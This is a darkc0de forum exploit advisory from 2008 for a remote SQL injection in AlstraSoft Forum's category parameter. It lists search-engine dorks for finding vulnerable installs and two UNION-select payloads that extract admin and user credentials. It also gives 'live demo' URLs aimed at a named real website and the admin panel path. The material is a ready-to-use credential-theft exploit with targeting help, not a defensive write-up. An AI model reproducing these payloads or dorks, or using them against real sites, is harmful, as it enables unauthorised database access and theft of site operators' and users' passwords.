################################################################ # .___ __ _______ .___ # # __| _/____ _______| | __ ____ \ _ \ __| _/____ # # / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ # # / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ # # \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ # # \/ \/ \/ # # ___________ ______ _ __ # # _/ ___\_ __ \_/ __ \ \/ \/ / # # \ \___| | \/\ ___/\ / # # \___ >__| \___ >\/\_/ # # est.2007 \/ \/ forum.darkc0de.com # ################################################################ # --d3hydr8 - rsauron - baltazar - sinner_01 - C1c4Tr1Z - beenu# # --- QKrun1x - skillfaker - FeDeReR - Optyx - Nuclear # and all darkc0de members ---# ################################################################ # # Author: r45c4l and P47r1ck # # Home : www.darkc0de.com # # Email : r45c4l@hotmail.com, p47r1ckro[at]gmail[dot]com # # Share the c0de! # ################################################################ # # Exploit: Altrasoft Forum (cat) Remote SQL Injection Vulnerability # # # App Name: AlstraSoft Forum # # App Home: http://www.alstrasoft.com/ # # Dork: inurl:index.php?menu=showcat= # Dork2: Powered By AlstraSoft Forum Pay Per Post Exchange # # # # # # POC: For Admin id and pass # index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin-- # # P0C-2: For Users id and pass # index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+2,1-- # # Live Demo: (For admin) # # http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin-- # # Live Demo: (For Users) # http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+1,1-- # # # Admin panel is at http://site.com/admin ################################################################ # Vuln Discovered 7th Sep 2008